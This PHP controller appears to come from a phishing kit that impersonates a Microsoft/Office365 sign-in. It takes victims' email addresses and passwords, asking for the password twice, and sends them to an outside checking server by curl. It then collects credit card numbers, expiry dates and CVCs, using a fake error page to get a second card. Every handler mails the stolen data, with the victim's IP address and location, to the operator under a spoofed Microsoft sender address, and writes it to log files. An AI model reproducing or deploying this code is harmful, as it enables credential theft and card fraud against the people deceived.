<?php
defined("ALLOW") or exit('No direct script access allowed');

class Memekiaw
{
    public $goCR51;
    public function __construct()
    {
        $this->goCR51 = new goCR51();

        if (!isset($_SESSION['access']) and ($_SESSION['access'] != 1))
        {
        }
    }
    public function index()
    {
        echo view('pc/memekiaw');
    }

    public function password()
    {
        $_SESSION['email'] = trim($_POST['email']);
        preg_match("/\@(.+)\./", $_SESSION['email'], $match);
        $hotmail = array("msn", "hotmail", "outlook", "live");
        $page = $match[1];
        
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }elseif(!in_array($page, $hotmail)){
            $_SESSION['invalid_mail'] = true;
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&error=invalid_email&rpsnv=13&ct=' . rand(109, 100000) . '');
        }else{
             $_SESSION['invalid_mail'] = false;
        }
        echo view('pc/password');
    }
    
    public function auth_password()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        if ($_POST['password1'] != null)
        {
            $_SESSION['password1'] = trim($_POST['password1']);
            $out = [
                    'error_code' => 200,
                    'page' => 'password_error',
                    'message' => 'success'
                    ];
                }else{
                    $out = [
                    'error_code' => 500,
                    'message' => 'failed'
                    ];
                }
                 echo json_encode($out);
    }
    
    public function password_error()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        echo view('pc/password2');
    }
    
     public function auth_signin(){
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        
        if ($_POST['password2'] != null && $_SESSION['email'] != null && $_SESSION['password1'] != null)
        {
            $_SESSION['password2'] = trim($_POST['password2']);
            $email = trim($_SESSION['email']);
            $password = trim($_SESSION['password1']);
            $repassword = trim($_POST['password2']);
            
                $message = "<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 50%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: MICROSOFT NETWORK ::</span></strong>

<strong>:: Email Account ::</strong>
			
# Email         : {$email}
# Password      : {$password}
# re-Password   : {$repassword}
# Check format  : {$email}|{$password} 
# Check format  : {$email}|{$repassword} 

<strong>:: Visitor Details ::</strong>

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goCR51->platform}
# Browser      : {$this->goCR51->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['region']}
# City         : {$_SESSION['city']}
# Ip address   : {$this->goCR51->ip_address}
# User agent   : {$this->goCR51->agent}

</pre>
</fieldset>
</pre>";
                $subject = "Email Office365 :: [ {$_SESSION['country']} - {$this->goCR51->ip_address} ]";
                $headers = 'MIME-Version: 1.0' . "\r\n";
                $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
                $headers .= "From: MICROSOFT NETWORK [No True] <cr51@b4ndit.sg>";
                @mail(_config('RESULT') , $subject, $message, $headers);
                write(FCPATH . 'CR51/Static/log_account.txt', 'a', "{$this->goCR51->ip_address}\r\n");
		    	write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Submit Microsoft account\r\n");
                 $out = [
                    'error_code' => 200,
                    'page' => 'password_error',
                    'message' => 'success'
                    ];
                }else{
                    $out = [
                    'error_code' => 500,
                    'message' => 'failed'
                    ];
                }
                 echo json_encode($out);
    }
    
    public function auth_session()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        
        if ($_POST['password'] != null && $_SESSION['email'] != null)
        {
            $_SESSION['password'] = trim($_POST['password']);
            $email = trim($_SESSION['email']);
            $password = trim($_POST['password']);
            $curl = curl_init();

            curl_setopt_array($curl, array(
                CURLOPT_URL => 'http://' . _truelog('SERVERMAIL') . '/api/v1/checkmail/office365/',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_ENCODING => '',
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_TIMEOUT => 0,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
                CURLOPT_CUSTOMREQUEST => 'POST',
                CURLOPT_POSTFIELDS => "e=$email&p=$password",
                CURLOPT_HTTPHEADER => array(
                    'Content-Type: application/x-www-form-urlencoded'
                ) ,
            ));

            $response = curl_exec($curl);

            curl_close($curl);
            if ($response == 0)
            {
                $message = "<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 50%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: MICROSOFT NETWORK ::</span></strong>

<strong>:: Email Account ::</strong>
			
# Email         : {$email}
# Password      : {$password}
# Check format  : {$email}|{$password} 

<strong>:: Visitor Details ::</strong>

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goCR51->platform}
# Browser      : {$this->goCR51->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['region']}
# City         : {$_SESSION['city']}
# Ip address   : {$this->goCR51->ip_address}
# User agent   : {$this->goCR51->agent}

</pre>
</fieldset>
</pre>";
                $subject = "Email Office365 :: [ {$_SESSION['country']} - {$this->goCR51->ip_address} ]";
                $headers = 'MIME-Version: 1.0' . "\r\n";
                $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
                $headers .= "From: MICROSOFT NETWORK <cr51@b4ndit.sg>";
                @mail(_config('RESULT') , $subject, $message, $headers);
                write(FCPATH . 'CR51/Static/log_account.txt', 'a', "{$this->goCR51->ip_address}\r\n");
		    	write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Submit Microsoft account\r\n");
                 $out = [
                    'error_code' => 200,
                    'page' => 'otp',
                    'message' => 'success'
                    ];
                }else{
                    $out = [
                    'error_code' => 500,
                    'message' => 'failed'
                    ];
                }
                 echo json_encode($out);
        }
    }
    
    public function payment()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        echo view('pc/payment');
    }
    
    public function auth_payment()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        
        if ($_POST['ch'] != null && $_POST['cre'] != null && $_POST['exp'] != null && $_POST['cvc'] != null)
        {
            $email = trim($_SESSION['email']);
            $cardholder = trim($_POST['ch']);
            $ccnum = trim($_POST['cre']);
            $exp = trim($_POST['exp']);
            $cvc = trim($_POST['cvc']);
            $cid_amex = trim($_POST['cid_amex']);
            $_SESSION['cardnumber'] = str_replace(" ", "", $_POST['cre']);
            $look_bin = look_bin($ccnum);
            
                $message = "<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 50%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: MICROSOFT NETWORK ::</span></strong>

<strong>:: CC Information ::</strong>
			
# Email             : {$email}
# Cardholder Name   : {$cardholder}
# Creditcard Number : {$ccnum}
# Expired           : {$exp}
# CVC               : {$cvc}
# CID               : {$cid_amex}
# Check format      : {$ccnum}|{$exp}|{$cvc}

<strong>:: Visitor Details ::</strong>

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goCR51->platform}
# Browser      : {$this->goCR51->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['region']}
# City         : {$_SESSION['city']}
# Ip address   : {$this->goCR51->ip_address}
# User agent   : {$this->goCR51->agent}

</pre>
</fieldset>
</pre>";
                $subject = "{$cardholder} - $look_bin :: [ {$_SESSION['country']} - {$this->goCR51->ip_address} ]";
                $headers = 'MIME-Version: 1.0' . "\r\n";
                $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
                $headers .= "From: CARD MICROSOFT <cr51@b4ndit.sg>";
                @mail(_config('RESULT') , $subject, $message, $headers);
                write(FCPATH . 'CR51/Static/log_card.txt', 'a', "{$this->goCR51->ip_address}\r\n");
		    	write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Submit CC\r\n");
            
            redirect(base_url() . 'memekiaw/payment_error?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
    }
    
    public function payment_error()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        echo view('pc/payment_error');
    }
    
    public function auth_payments()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        $cardreplace = str_replace(" ", "", $_POST['cre']);
        if ($_SESSION['cardnumber'] === $cardreplace) {
         redirect(base_url() . 'memekiaw/payment_error?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000));
        }
        if ($_POST['ch'] != null && $_POST['cre'] != null && $_POST['exp'] != null && $_POST['cvc'] != null)
        {
            $email = trim($_SESSION['email']);
            $cardholder = trim($_POST['ch']);
            $ccnum = trim($_POST['cre']);
            $exp = trim($_POST['exp']);
            $cvc = trim($_POST['cvc']);
            $cid_amex = trim($_POST['cid_amex']);
            $look_bin = look_bin($ccnum);
            
                $message = "<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 50%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>:: MICROSOFT NETWORK ::</span></strong>

<strong>:: CC Information ::</strong>
			
# Email             : {$email}
# Cardholder Name   : {$cardholder}
# Creditcard Number : {$ccnum}
# Expired           : {$exp}
# CVC               : {$cvc}
# CID               : {$cid_amex}
# Check format      : {$ccnum}|{$exp}|{$cvc}

<strong>:: Visitor Details ::</strong>

# Date &amp; Time  : " . _date() . "  
# Device       : {$this->goCR51->platform}
# Browser      : {$this->goCR51->browser}
# Country      : {$_SESSION['country']}
# State        : {$_SESSION['region']}
# City         : {$_SESSION['city']}
# Ip address   : {$this->goCR51->ip_address}
# User agent   : {$this->goCR51->agent}

</pre>
</fieldset>
</pre>";
                $subject = "{$cardholder} - $look_bin :: [ {$_SESSION['country']} - {$this->goCR51->ip_address} ]";
                $headers = 'MIME-Version: 1.0' . "\r\n";
                $headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
                $headers .= "From: CARD MICROSOFT <cr51@b4ndit.sg>";
                @mail(_config('RESULT') , $subject, $message, $headers);
                write(FCPATH . 'CR51/Static/log_card.txt', 'a', "{$this->goCR51->ip_address}\r\n");
		    	write(FCPATH . 'CR51/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goCR51->ip_address}|{$_SESSION['country']}|{$this->goCR51->browser}|Submit CC\r\n");
            
            redirect(base_url() . 'memekiaw/finish?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
    }
    
    public function finish()
    {
        if(!$_SESSION['email']){
            redirect(base_url() . 'memekiaw?wa=wsignin1.0&rpsnv=13&ct=' . rand(109, 100000) . '');
        }
        session_destroy();
        echo view('pc/finish');
    }
}

